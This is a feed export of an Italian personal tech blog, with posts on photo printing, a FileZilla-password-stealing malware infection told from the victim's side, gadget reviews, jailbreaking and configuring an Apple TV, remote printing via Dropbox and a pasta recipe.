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		<title>Stampare foto online &#8211; Esperienza Photoworld</title>
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		<pubDate>Thu, 29 Mar 2012 16:35:15 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[Tempo fa sono andato a fare un giro, ho scattato qualche bella foto e volevo, finalmente, stamparne qualcuna in formato 20&#215;30 (no, non ho mai stampato foto da quando scatto in digitale). Dopo aver debitamente chiesto consigli su Friendfeed ho scelto il servizio di stampa di Photoworld. Basta iscriversi, caricare le foto sul sito e [...]]]></description>
			<content:encoded><![CDATA[<p>Tempo fa sono andato a fare un giro, ho scattato qualche bella foto e volevo, finalmente, stamparne qualcuna in formato 20&#215;30 (no, non ho mai stampato foto da quando scatto in digitale).</p>
<p>Dopo aver debitamente chiesto consigli su <a  href="http://ff.im/Rw5KA">Friendfeed</a> ho scelto il servizio di stampa di <a  href="http://www.photoworld.com">Photoworld</a>.</p>
<p>Basta iscriversi, caricare le foto sul sito e scegliere il servizio che si vuole per le proprie stampe (colori, BN, carta lucida, carta opaca, crop, livelli, ecc.), quindi si sceglie il formato, gli eventuali optional e si passa a pagare.</p>
<p>Diciamo che come servizio non è economicissimo perché, dato il pagamento con paypal e la spedizione, 15 euro per tre foto non sono esattamente pochi. Ma tant&#8217;è, mica stampo mille foto.</p>
<p>Quindi resta solo da aspettare qualche giorno (meno di una settimana, corriere permettendo) e le foto arrivano pronte a casa tua.</p>
<p>Ovviamente, conoscendo la mia sfiga storica, le foto arrivano ma c&#8217;è un problema: ho richiesto tre stampe in BN, invece ce ne sono soltanto due, a colori e non mie.</p>
<p>Beh, può capitare di confondere le spedizioni.</p>
<p>Rispondo alla mail che mi hanno inviato per dirmi che era tutto pronto per la spedizione, chiedendomi di rispondere se ci fossero stati problemi, e scrivo che i problemi c&#8217;erano stati.</p>
<p>Due giorni dopo, nessuna risposta. Ri-scrivo. Passano altri due giorni, nessuna risposta.</p>
<p>Non essendo stato contattato, rilascio il feedback negativo (il primo della mia vita, quasi un trauma per me) con riluttanza, perché mi spiace sempre criticare il lavoro degli altri.</p>
<p>Due secondi dopo vedo che esiste un sistema di ticket per segnalare problemi e malfunzionamenti. Mi do del pirla per non essermene accorto prima, e segnalo il problema via ticket.</p>
<p>Oggi è il 29 marzo, il ticket è stato inviato il 10 marzo scorso. Ad oggi nessun tipo di risposta. Cosa devo pensare?</p>
<p>Penso, al netto degli errori e dei disguidi che possono sempre succedere, che sia un servizio per nulla professionale e con un&#8217;assistenza clienti inesistente. Un vero costante ed enorme FAIL.</p>
<p>Non mi piace generalizzare e fare pubblicità negativa dopo una sola esperienza da dimenticare, ma mi piace pensare che, prima di scegliere un servizio, possa essere utile far sapere cosa può succedere quando ti va un po&#8217; di sfiga.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Online a intermittenza</title>
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		<pubDate>Fri, 16 Mar 2012 22:24:11 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[Non che qualcuno se ne sia accorto, ma ultimamente questo blog ha avuto dei problemi tènnici. Si dà il caso che il qui presente pirla si sia preso un malware che ha la simpatica caratteristica di rubarsi le password di Filezilla (il client FTP più noto) e accedere ai siti memorizzati andando ad iniettare codice [...]]]></description>
			<content:encoded><![CDATA[<p>Non che qualcuno se ne sia accorto, ma ultimamente questo blog ha avuto dei problemi tènnici. Si dà il caso che il qui presente pirla si sia preso un malware che ha la simpatica caratteristica di rubarsi le password di Filezilla (il client <acronym title="File Transfer Protocol">FTP</acronym> più noto) e accedere ai siti memorizzati andando ad iniettare codice malevolo nei file php.</p>
<p>Dapprima mi ha avvisato Google, bloccando l&#8217;accesso dal motore di ricerca, poi l&#8217;antivirus. Ho ripulito tutto ed è durato qualche settimana, poi i file sono stati nuovamente corrotti. A quel punto il mio hosting (Tophost) ha bloccato sito e <acronym title="File Transfer Protocol">FTP</acronym> avvisandomi dei problemi. Ho svuotato tutto lo spazio web e ho reinstallato WordPress aggiornando tutto l&#8217;aggiornabile e, nel frattempo, ho cambiato il PC risolvendo anche l&#8217;infezione locale.</p>
<p>Ieri, aprendo per caso il blog, mi accorgo che il sito è nuovamente bloccato, e l&#8217;assistenza di Tophost mi risponde che stavolta è per spam. Senza PC infetto e con il blog sano, un file php malevolo era stato caricato in una posizione che non uso e, da lì, inviava spam tanto da rallentare l&#8217;intero server su cui è hostato il sito.</p>
<p>Grazie all&#8217;assistenza ho trovato il file colpevole e l&#8217;ho eliminato, e ora il blog è nuovamente accessibile.</p>
<p>Visti i precedenti non so quanto durerà, ma spero che il problema sia completamente risolto. Anche perché,  non avendo trovato informazioni online su questo tipo di attacco, comincio a pensare che si tratti di sfiga <img src='http://www.unpirlaqualsiasi.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>L&#8217;unico consiglio che posso dare, oltre a non prendersi i malware, è quello di non salvare le credenziali di accesso dei siti su Filezilla, perché le salva in chiaro in un file facilmente accessibile (non solo dal malware).</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>È arrivato il Transformer</title>
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		<pubDate>Thu, 21 Jul 2011 20:07:45 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[Spinto dalla curiosità, dall&#8217;aver provato iPad 1 e 2, e dal puro sfizio tecnologico ho comprato un Eee Pad Transformer della Asus. L&#8217;ho preso su Ebay, dove l&#8217;ho trovato per 399 euro compreso di tastiera. Qui di seguito le prime e seconde impressioni del primo giorno in cui l&#8217;ho potuto tenere tra le mani (al [...]]]></description>
			<content:encoded><![CDATA[<p>Spinto dalla curiosità, dall&#8217;aver provato iPad 1 e 2, e dal puro sfizio tecnologico ho comprato un <span style="font-style: italic;">Eee Pad Transformer</span> della Asus. L&#8217;ho preso su Ebay, dove l&#8217;ho trovato per 399 euro compreso di tastiera.</p>
<p>Qui di seguito le prime e seconde impressioni del primo giorno in cui l&#8217;ho potuto tenere tra le mani (al solito il viaggio del &#8220;piccolo&#8221; è stato avventuroso, grazie a Bartolini).</p>
<p><span style="font-weight: bold;">Unpacking</span></p>
<p>La scatola è di cartoncino rigido, grigia scura sfumata, satinata e con l&#8217;immagine dell&#8217; EeePad a colori in rilievo.<br />
Tagliati i due sigilli e aperta, la scatola mostra subito il Pad con lo schermo verso l&#8217;alto, avvolto in una plastica trasparente rigida con l&#8217;aletta per sollevarlo e per spacchettarlo (la plastica era rigata al centro e ho perso dieci anni di vita prima di riuscire a capire che non fosse il vetro del tablet). Subito sotto, avvolta nello stesso modo, c&#8217;è la tastiera/docking station. Sotto ancora, una bustina con il certificato di garanzia e i manuali utente di Pad e docking station. Per ultimi alimentatore, adattatore per le prese italiane e cavetto usb.</p>
<p>Partendo dal fondo direi che il cavetto usb avrebbero potuto farlo un pochino più lungo (è solo 50 cm.) e magari un classico usb&gt;mini usb, invece di metterci l&#8217;ennesimo connettore proprietario. E l&#8217;alimentatore scalda tantissimo!</p>
<p>La docking station è praticamente la tastiera di un Eee PC, con qualche tasto in più e curata molto ma molto meglio. A differenza del netbook, infatti, questo apparecchio è curato e rifinito molto bene, non scricchiola in nessun punto e i tasti non muovono sotto le dita. Oltre la tastiera c&#8217;è l&#8217;alloggiamento per il Pad, in cui il tablet scivola giusto fino al click di fondo. Pensavo che l&#8217;accoppiamento tra le due parti sarebbe stato il punto debole di tutto l&#8217;ambaradan e invece pare molto saldo, impossibile da inserire in modo non corretto e impossibile da rovinare in qualche piccola parte (lamelle, piedini, ecc.).<br />
Intorno ai bordi della tastiera troviamo due prese usb 2.0, lo slot per le card e la presa per l&#8217;alimentatore.</p>
<p>Passando al Pad troviamo, ovviamente, di più.<br />
Innanzitutto c&#8217;è il pulsante di accensione/spegnimento/stand-by (come specificato sul manuale: pressione di 2 secondi per accenderlo e di mezzo secondo per spegnerlo, mentre una semplice pressione attiva e disattiva lo stand-by), poi il pulsante del volume, la presa jack per le cuffie/microfono, l&#8217;uscita HDMI e lo slot per le schede microSD. Il cavetto si inserisce nella fessura centrale delle tre sul lato inferiore. Le altre due servono per inserire il Pad nella docking station.</p>
<p>Sulla cornice superiore è presente una video/fotocamera da 2 megapixel e sul lato posteriore una da 5.</p>
<p><span style="font-weight: bold;">Utilizzo</span></p>
<p>Al primo avvio parte la configurazione automatica, tipica dei terminali Android ma, a differenza dei telefoni, consta solo nell&#8217;inserimento del proprio Google account. Quindi l&#8217;Eee Pad cercherà le reti wifi disponibili e ci si connetterà a richiesta.<br />
Immediatamente vengono cercati gli aggiornamenti e, come nel mio caso, scaricati senza chiedere conferme.<br />
Pare impossibile anche rifiutarsi di installarli, come invece ho potuto fare sull&#8217;HTC Desire.</p>
<p>L&#8217;utilizzo del dispositivo è assolutamente elementare, soprattutto per chi ha già maeggiato un qualsiasi terminale Android, il tocco sull&#8217;interfaccia <span style="font-style: italic;">touch</span> è preciso e rapido e il movimento è fluido.<br />
La risoluzione dello schermo e il vetro di ottima qualità permettono di vedere le immagini con colori spettacolari e una definizione veramente impressionante.</p>
<p>La parte che mi fa sempre un po&#8217; paura, nei dispositivi <span style="font-style: italic;">touch</span>, è la tastiera. In questo caso la paura è assolutamente infondata perché, nonostante la mancanza del feedback aptico (sostituito da un poco credibile suono di macchina da scrivere al tocco dei tasti virtuali), la scrittura è facile e scorrevole, con tasti grandi e ben posizionati: nonostante i 10,1&#8243; è possibile scrivere comodamente con due dita tenedo il Pad in verticale (appoggiandolo è possibile scrivere con tutte le dita, per chi è capace).</p>
<p>La nota dolente, invece, è data dalla docking station. Nonostante l&#8217;accoppiamento perfetto, il primo problema che salta agli occhi è l&#8217;impossibilità di usare una tastiera con layout italiano, anche se viene impostata così di default. Il problema è stato risolto dall&#8217;aggiornamento scaricato automaticamente, ma mi è sembrata una grossa mancanza. Altra mancanza è quella del fuso orario italiano, per cui bisogna sceglierne un altro compatibile, altrimenti l&#8217;Eee Pad resta indietro due ore, non appena lo si collega alla docking.</p>
<p>Gli altri problemi di eccessivo consumo di batteria citati spesso nei forum, probabilmente li incontrerò più avanti, quindi per ora non mi pronuncio.</p>
<p>Per quanto riguarda l&#8217;utilizzo di schede esterne (ho provato solo la microSD) si verifica un altro problema: sono accessibili solo attraverso l&#8217;applicazione Gestione file e non attraverso i file manager di terze parti, tipo ES Gestore file, e non è possibile formattare la scheda. </p>
<p>Per ora non ho ancora provato il lettore di schede e le <acronym title="Universal Serial Bus">USB</acronym> della base, nè l&#8217;uscita HDMI, cosa che farò sicuramente nei prossimi giorni.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Apple TV 2g &#8211; Impostazione dell&#8217;ora</title>
		<link>http://www.unpirlaqualsiasi.it/2011/02/23/apple-tv-2g-impostazione-dellora/</link>
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		<pubDate>Wed, 23 Feb 2011 17:15:47 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[La Apple TV non ha, di solito, bisogno di impostare l&#8217;ora locale, perché la setta in automatico via NTP. E, infatti, non esiste neanche un menu che preveda questa opzione (d&#8217;altra parte Apple non prevede che l&#8217;utente sia, addirittura, in grado di cambiare l&#8217;ora). Nonostante la sincronizzazione, però, la Apple TV potrebbe non mostrare l&#8217;ora [...]]]></description>
			<content:encoded><![CDATA[<p>La Apple TV non ha, di solito, bisogno di impostare l&#8217;ora locale, perché la setta in automatico via NTP. E, infatti, non esiste neanche un menu che preveda questa opzione (d&#8217;altra parte Apple non prevede che l&#8217;utente sia, addirittura, in grado di cambiare l&#8217;ora).</p>
<p>Nonostante la sincronizzazione, però, la Apple TV potrebbe non mostrare l&#8217;ora giusta, e questo non è un problema usandola in modo &#8220;nativo&#8221;, perché non viene mostrata in nessuna schermata o servizio.</p>
<p>Il prblema si pone qundo, in seguito al <a  href="http://www.unpirlaqualsiasi.it/2011/02/15/apple-tv-2g-untethered-jailbreak/">jailbreak</a>, si installa XBMC (o altri software) che, invece, l&#8217;ora la mostra e la usa.</p>
<p>Mentre nella Apple TV 1g (jailbreakata) l&#8217;operazione si può fare col software NiTO TV, la versione per Apple Tv 2g non lo prevede. Si deve, quindi, agire manualmente.</p>
<p>L&#8217;operazione è molto semplice: essendo un sistema Unix based, bastano un paio di comandi linux via <acronym title="Secure Shell">SSH</acronym> per impostare l&#8217;orario corrente della località corrente.</p>
<p>Innanzitutto bisogna accedere alla Apple TV via <acronym title="Secure Shell">SSH</acronym> con un terminale (tipo puTTY), con utente <code>root</code> e password <code>alpine</code>.</p>
<p>Quindi digitare il comando: </p>
<pre>cd /var/db/timezone
rm localtime</pre>
<p>Con questo comando ci si sposta nel percorso indicato, fino alla cartella &#8220;timezone&#8221;, quindi si elimina il file &#8220;localtime&#8221; che contiene le informazione errate. Se esiste, viene rimosso, se non esiste, verrà dato errore di file non trovato, quindi proseguire con:</p>
<pre>ln -s /usr/share/zoneinfo/[Country or Region]/[Zone Name] localtime</pre>
<p>Digitando questo comando con <code>Europe/Rome</code> al posto di <code>[Country or Region]/[Zone Name]</code> impostiamo il nuovo localtime.</p>
<p>Tutto qui. Non c&#8217;è bisogno di riavviare e si può fare un prova immediata per vedere se tutto è corretto, digitando il comando <code>date</code>.</p>
<p>All&#8217;avvio di XBMC l&#8217;ora locale verrà mostrata ed utilizzata in modo corretto.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Apple TV 2g untethered jailbreak</title>
		<link>http://www.unpirlaqualsiasi.it/2011/02/15/apple-tv-2g-untethered-jailbreak/</link>
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		<pubDate>Mon, 14 Feb 2011 23:49:05 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[Dopo quasi un mese di pene e patimenti, finalmente sono riuscito a jailbreakare la nuova Apple TV. Ci è voluto tanto solo perché non era ancora stata messa a punto la procedura di jailbreak per l&#8217;ultima versione del software, quindi scoprire il metodo per eseguirlo &#8220;untethered&#8221; e, infine, il porting verso Windows. Di metodi e [...]]]></description>
			<content:encoded><![CDATA[<p>Dopo quasi un mese di pene e patimenti, finalmente sono riuscito a jailbreakare la nuova Apple TV.</p>
<p>Ci è voluto tanto solo perché non era ancora stata messa a punto la procedura di jailbreak per l&#8217;ultima versione del software, quindi scoprire il metodo per eseguirlo &#8220;untethered&#8221; e, infine, il porting verso Windows.</p>
<p>Di metodi e tool ce ne sono un bel po&#8217;, ma quello che è sembrato più semplice e affidabile è <a  href="http://www.greenpois0n.com">Greenpois0n</a>.</p>
<p>L&#8217;utilizzo è semplicissimo e a prova di niubbo: basta essere capace a cliccare su un paio di tasti e un po&#8217; di attenzione.</p>
<p><strong>Cosa serve</strong></p>
<p>- una (o più) Apple TV 2g (è supportata fino alla versione 4.2 del sw, indicata come 4.1.1 nella schermata delle proprietà<br />
- un cavo <acronym title="Universal Serial Bus">USB</acronym>-micro <acronym title="Universal Serial Bus">USB</acronym> come quelli degli ultimi modelli di cellulari<br />
- il programmino Greenpois0n, versione Windows.</p>
<p><strong>Come si procede</strong></p>
<p>Avviare il programmino, avendo a portata di mano i cavi <acronym title="Universal Serial Bus">USB</acronym> e dell&#8217;alimentazione e il telecomando della ATV2, e cliccare su &#8220;prepare to jailbreak (DFU)&#8221;.<br />
A questo punto bisogna agire con una certa rapidità e attenzione perché si deve, nell&#8217;ordine: collegare il cavetto <acronym title="Universal Serial Bus">USB</acronym>, collegare l&#8217;alimentazione e tenere premuti i tasti menu e play del telecomando.</p>
<div id="attachment_1545" class="wp-caption aligncenter" style="width: 310px"><a  href="http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n.png" rel="lightbox[1544]"><img class="size-medium wp-image-1545" title="greenpois0n" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n-300x162.png" alt="" width="300" height="162" /></a><p class="wp-caption-text">Greenpois0n</p></div>
<p>La sequenza deve essere rispettata al secondo, ma con un po&#8217; di sano contorsionismo non è difficile e, soprattutto, si può riprovare quante volte sarà necessario, grazie al comodo tasto reset. Quando la sequenza è corretta, il pulsante &#8220;waiting for DFU&#8221; diventerà attivo e cambierà in &#8220;jailbreak!&#8221;.</p>
<p>A questo punto basta cliccare sul pulsante e aspettare qualche minuto. Non ci saranno messaggi di successo ed esultanza, ma un laconico pulsante &#8220;quit&#8221; che, però, a noi basta e avanza perché ormai la Apple TV è jailbreakata.</p>
<p>Si può staccare il cavo <acronym title="Universal Serial Bus">USB</acronym> e collegare il cavo HDMI alla TV per veder comparire una nuova voce nel menu: Greenpois0n.</p>
<div id="attachment_1542" class="wp-caption aligncenter" style="width: 310px"><a  href="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103.jpg" rel="lightbox[1544]"><img class="size-medium wp-image-1542" title="wpid-IMAG0103.jpg" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103-300x179.jpg" alt="" width="300" height="179" /></a><p class="wp-caption-text">Jailbroken!</p></div>
<p>Da qui si può installare il software che ci permetterà di installare, a loro volta, programmi e utility, primo tra tutti il protocollo <acronym title="Secure Shell">SSH</acronym> che serve per connetterci alla Apple TV tramite terminale da PC (o Mac o Linux) e il software NitoTV con le sue millemila applicazioni scaricabili.</p>
<div id="attachment_1543" class="wp-caption aligncenter" style="width: 310px"><a  href="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104.jpg" rel="lightbox[1544]"><img class="size-medium wp-image-1543" title="wpid-IMAG0104.jpg" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104-300x179.jpg" alt="" width="300" height="179" /></a><p class="wp-caption-text">Installazione delle applicazioni</p></div>
<p style="text-align: center;">&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Stampare con l&#8217;androide</title>
		<link>http://www.unpirlaqualsiasi.it/2010/12/15/stampare-con-landroide/</link>
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		<pubDate>Wed, 15 Dec 2010 20:02:46 +0000</pubDate>
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		<description><![CDATA[In giro esistono varie app per stampare dal proprio terminale Android, ma non funzionano su tutti i modelli, non supportano tutte le stampanti, e sono a pagamento. C&#8217;è, però, un modo molto semplice, che non ha bisogno di applicazioni e a costo completamente zero per stampare qualsiasi file abbiate nel vostro telefono. Sono necessari una [...]]]></description>
			<content:encoded><![CDATA[<p>In giro esistono varie app per stampare dal proprio terminale Android, ma non funzionano su tutti i modelli, non supportano tutte le stampanti, e sono a pagamento.</p>
<p>C&#8217;è, però, un modo molto semplice, che non ha bisogno di applicazioni e a costo completamente zero per stampare qualsiasi file abbiate nel vostro telefono.</p>
<p>Sono necessari una stampante (e fin qui&#8230;), un PC (Win/<a  href="http://www.labnol.org/tech/print-files-on-remote-mac/17838/">Mac <acronym title="Operating System">OS</acronym> X</a>/<a  href="http://www.labnol.org/software/print-files-on-linux/17841/">Linux</a>), un account di <a  href="https://www.dropbox.com/referrals/NTM0MjU1NjI5?src=global0">Dropbox</a> (santo subito!), l&#8217;app di Dropbox per il vostro telefono (vale anche per iPhone) e uno <a  href="http://img.labnol.org/files/ePrint.zip">script</a> VBS.</p>
<p>Installato il client Dropbox sul PC e scaricato lo zip con lo script, basta scompattare e avviare lo script. In questo modo verrà creata nel proprio Dropbox la cartella PrintQueue (alla prima esecuzione dello script) e verrà monitorato il contenuto in attesa dei file da stampare.</p>
<p>Per stampare qualsiasi file da remoto (quindi non solo da telefono, ma anche da PC) basta copiare il file nella cartella <span style="font-weight: bold;">PrintQueue</span> locale, aspettare l&#8217;upload e il PC con lo script installato riceverà e stamperà il file con la stampante predefinita.</p>
<p>Ovviamente qualsiasi PC abbia lo script installato avvierà il processo di stampa, per cui è utile eseguirlo solo sul PC che si desidera utiizzare per la stampa remota. Comunque, per evitare stampe non richieste, il file verrà cancellato non appena stampato e sarà possibile trovare una copia dei file stampati nella sottocartella <span style="font-weight: bold;">Log</span>.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Rivoluzione androide</title>
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		<pubDate>Fri, 10 Dec 2010 00:05:58 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[desire]]></category>
		<category><![CDATA[htc]]></category>
		<category><![CDATA[smartphone]]></category>

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		<description><![CDATA[Premessa Da un po&#8217; ero attratto dall&#8217;idea di uno smartphone ma, non essendo troppo convinto del touchscreen, non mi ero mai deciso. Poi il glorioso N95 8 giga ha pensato bene di lasciare questo mondo crudele anzitempo — ma sempre troppo tardi rispetto alla garanzia — e s&#8217;è resa indispensabile una sostituzione rapidissima. Come mio [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Premessa</strong><br />
Da un po&#8217; ero attratto dall&#8217;idea di uno smartphone ma, non essendo troppo convinto del touchscreen, non mi ero mai deciso. Poi il glorioso N95 8 giga ha pensato bene di lasciare questo mondo crudele anzitempo — ma sempre troppo tardi rispetto alla garanzia — e s&#8217;è resa indispensabile una sostituzione rapidissima.<br />
Come mio solito la scelta è stata casuale e l&#8217;acquisto d&#8217;impulso, ma quando ci vuole, ci vuole.<br />
Ovviamente la scelta non poteva che cadere su un telefono con sistema Android e, avendo trovato una bella offerta su Ebay, ho acquistato un HTC Desire.</p>
<p><strong>Prime impressioni </strong><br />
Il pacchetto è arrivato in due giorni, e la prima sorpresa è stata proprio la confezione. Rispetto ai soliti Motorola e Nokia la scatoletta è misera e il contenuto un po&#8217; troppo spartano: telefono, auricolari, caricabatterie e un manualetto di poche pagine (mentre online ce n&#8217;è una versione completa da 200 pagine).<br />
Comunque non ci vuole una laurea per montare batteria e SIM e accendere il telefono col tasto superiore. Più difficile e, a prima vista, delicata l&#8217;operazione di apertura dello sportellino posteriore con i dentini che scattano e danno sempre l&#8217;impressione di rompersi.<br />
Appena accesso parte la classica procedura di personalizzazione, solo che stavolta vengono chieste le credenziali dei principali social network, e non è differenza da poco. La seconda cosa è un breve training per imparare ad usare la tastiera virtuale e il touchscreen. <br />
Finite le operazioni, il telefono è pronto e si connetterà automaticamente ad internet per aggiornare i servizi e sè stesso.<br />
Poi c&#8217;è bisogno di un po&#8217; di tempo per ambientarsi ai menu e alle varie impostazioni, non sempre intuitive. <br />
Nel momento in cui ci si accorge del market, finisce la vita dell&#8217;utente, perché si apre un vero mondo di applicazioni gratis e a pagamento.</p>
<p><strong>Il mio giudizio </strong><br />
Comprando un telefono Android ci si trova in mano un vero PC, con sistema basato su Linux, con tutti i pregi e i difetti dell&#8217;avere un PC in un telefono.<br />
Il primo difetto è la durata della batteria (che comunque aumenta con le successive cariche), rapidamente uccisa dalle connessioni.<br />
Il secondo è l&#8217;<em>unfriendlyness</em> tipica di Linux, specie per chi proviene da sistemi Windows, che porta a dover hackerare il sistema per poter fare ogni minima cosa non prevista dagli sviluppatori, con conseguente decadenza della garanzia.<br />
E poi la cosa, per me, peggiore: tutta la gestione della parte telefonica (sms, rubrica, ad esempio) lascia parecchio a desiderare, rispetto ai telefoni tradizionali.<br />
Dall&#8217;altra parte ci sono cose totalmente positive, quali la quasi totale personalizzabilità della parte grafica, applicazioni utilissime e il touchscreen che è una vera e propria figata. O la tastiera virtuale che è veramente semplice da usare anche per uno, come me, che odia — ricambiato — i display tattili.</p>
<p><strong>In conclusione</strong> <br />
Come tutti i device anche questo ha i suoi difetti, legati soprattutto alla diversa user experience più che a veri e propri bug, ma i pregi sono davvero pesanti nel dare un giudizio complessivo del Desire, soprattutto per chi proviene da sistemi molto meno performanti, tipo Symbian. Inoltre la semplicità d&#8217;uso del Desire, la possibilità di condividere qualsiasi contenuto con contatti e social network con tanta facilità sono talmente sorprendenti da non poter non consigliare l&#8217;acquisto sia al nerd smanettone, sia all&#8217;utente che si avvicina per la prima volta ad uno smartphone. </p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Pasta col tonno</title>
		<link>http://www.unpirlaqualsiasi.it/2010/09/24/pasta-col-tonno/</link>
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		<pubDate>Thu, 23 Sep 2010 22:30:50 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[un pirla in cucina]]></category>
		<category><![CDATA[pasta]]></category>
		<category><![CDATA[primi]]></category>
		<category><![CDATA[tonno]]></category>

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		<description><![CDATA[Tutti fanno la pasta col tonno, tutti amano e odiano la pasta col tonno, e ognuno ha la propria versione. Questa è la mia. Molto semplice. Ingredienti - una scatoletta di tonno(1) - olio - succo di limone - prezzemolo Preparazione Mentre cuoce la pasta (io uso i fusilli, voi fate come vi pare), scolare [...]]]></description>
			<content:encoded><![CDATA[<p>Tutti fanno la pasta col tonno, tutti amano e odiano la pasta col tonno, e ognuno ha la propria versione. Questa è la mia. Molto semplice.</p>
<p><span style="font-weight: bold;">Ingredienti</span></p>
<p>- una scatoletta di tonno<sup>(<a  href="http://www.unpirlaqualsiasi.it/2010/09/24/pasta-col-tonno/#footnote_0_1536" id="identifier_0_1536" class="footnote-link footnote-identifier-link" title="dimensione a seconda delle porzioni di pasta, indicativamente una da 80g va bene per 3 persone">1</a>)</sup><br />
- olio<br />
- succo di limone<br />
- prezzemolo</p>
<p><span style="font-weight: bold;">Preparazione</span></p>
<p>Mentre cuoce la pasta (io uso i fusilli, voi fate come vi pare), scolare il tonno e frullarlo fino ad ottenere una crema. Versare la crema nel piatto di portata e diluirla a poco a poco con l&#8217;olio e una spruzzata di succo di limone.<br />
Scolate la pasta e conditela con la crema di tonno<sup>(<a  href="http://www.unpirlaqualsiasi.it/2010/09/24/pasta-col-tonno/#footnote_1_1536" id="identifier_1_1536" class="footnote-link footnote-identifier-link" title="se fosse troppo densa, aggiungete un cucchiaio di acqua di cottura della pasta">2</a>)</sup> e cospargete con prezzemolo tritato. Mescolate e servite.</p>&nbsp;&nbsp;<div class="meta"></div><ol class="footnotes"><li id="footnote_0_1536" class="footnote">dimensione a seconda delle porzioni di pasta, indicativamente una da 80g va bene per 3 persone</li><li id="footnote_1_1536" class="footnote">se fosse troppo densa, aggiungete un cucchiaio di acqua di cottura della pasta</li></ol>]]></content:encoded>
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		</item>
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		<title>Opera Mini 5 (beta 2)</title>
		<link>http://www.unpirlaqualsiasi.it/2010/06/01/opera-mini-5-beta-2/</link>
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		<pubDate>Tue, 01 Jun 2010 16:31:36 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[consigli per i download]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[cellulare]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[mobile browser]]></category>
		<category><![CDATA[mobile internet]]></category>
		<category><![CDATA[opera mini]]></category>
		<category><![CDATA[telefono]]></category>

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		<description><![CDATA[Parliamo di Opera Mini 5, il piccolo browser per dispositivi mobili basato su Java, e quindi utilizzabile su tutti i tipi di dispositivi e su tutte le piattaforme. Al momento è ancora in beta, perché i cambiamenti rispetto alla versione 4 sono parecchi e pesanti. La prima cosa che salta all&#8217;occhio è la pagina iniziale [...]]]></description>
			<content:encoded><![CDATA[<p>Parliamo di <a  title="Opera Mini &amp; Opera Mobile" href="http://www.opera.com/mobile/">Opera Mini 5</a>, il piccolo browser per dispositivi mobili basato su Java, e quindi utilizzabile su tutti i tipi di dispositivi e su tutte le piattaforme.</p>
<p>Al momento è ancora in <em>beta</em>, perché i cambiamenti rispetto alla versione 4 sono parecchi e pesanti.</p>
<p>La prima cosa che salta all&#8217;occhio è la <strong>pagina iniziale</strong> con 9 pulsantoni collegati ai 9 segnalibri più utilizzati (alcuni sono preimpostati al momento dell&#8217;installazione, ma si possono modificare e cancellare, vedremo come).</p>
<p>La seconda cosa è la nuova <strong>barra dei menu</strong>. Da qui si può inserire o modificare l&#8217;indirizzo, muoversi avanti e indietro tra le pagine visitate, accedere alla pagina iniziale, ricaricare la pagina e uscire. Ma anche accedere a tutti i menu (bookmark, cronologia, pagine salvate, trasferimenti, impostazioni, trova nella pagina, guida) attraverso una tab a scomparsa, per occupare meno spazio possibile.</p>
<p>La barra può essere nascosta attivando la navigazione a schermo intero attraverso le impostazioni.</p>
<p>La vera novità, però, è quella della <strong>navigazione a schede</strong> (tab) proprio come nei browser tradizionali, con tutti i vantaggi che ne derivano in fatto di comodità e usabilità.</p>
<p>Usabilità che manca, invece, nella gestione di link e testo (soprattutto nei dispositivi touch), visto che senza istruzioni nessuno potrebbe scoprire, se non per puro caso, come attivare certe funzioni molto utili.</p>
<p>Per gestire queste cose è stato introdotto il &#8220;<strong>click lungo</strong>&#8220;, ovvero la pressione del tasto di chiamata (o della corrispondente area touch) per qualche secondo. In questo modo si può:</p>
<ul>
<li><strong>modificare o cancellare i link rapidi della pagina iniziale:</strong> spostarsi sul link rapido, quindi clic lungo sul pulsante di chiamata e scegliere &#8220;modifica&#8221; o &#8220;cancella&#8221; dal menu che verrà mostrato;</li>
<li><strong>salvare immagini o pagine</strong>: clic lungo quando si è sull&#8217;immagine e scegliere &#8220;salva immagine&#8221;. Le immagini verranno salvate nella cartella predefinita (sull&#8217;iPhone verranno salvate nell&#8217;app Images);</li>
<li><strong>Copiare del testot</strong>: clic lungo in un punto della pagina e scegliere &#8220;seleziona testo&#8221;. Quindi spostarsi col cursore all&#8217;inizio del testo da copiare e premere &#8220;Avvia&#8221;, poi spostarsi alla fine e premere &#8220;Fine&#8221; (nei dispositivi touch basta cliccare all&#8217;inizio del testo e trascinare fino alla fine; alzando il dito verrà mostrato il comando &#8220;Copia&#8221;;</li>
<li><strong>Incollare il testo copiato</strong>: aprire il campo in cui incollare il testo e fare un click lungo, quindi scegliere &#8220;incolla&#8221;;</li>
</ul>
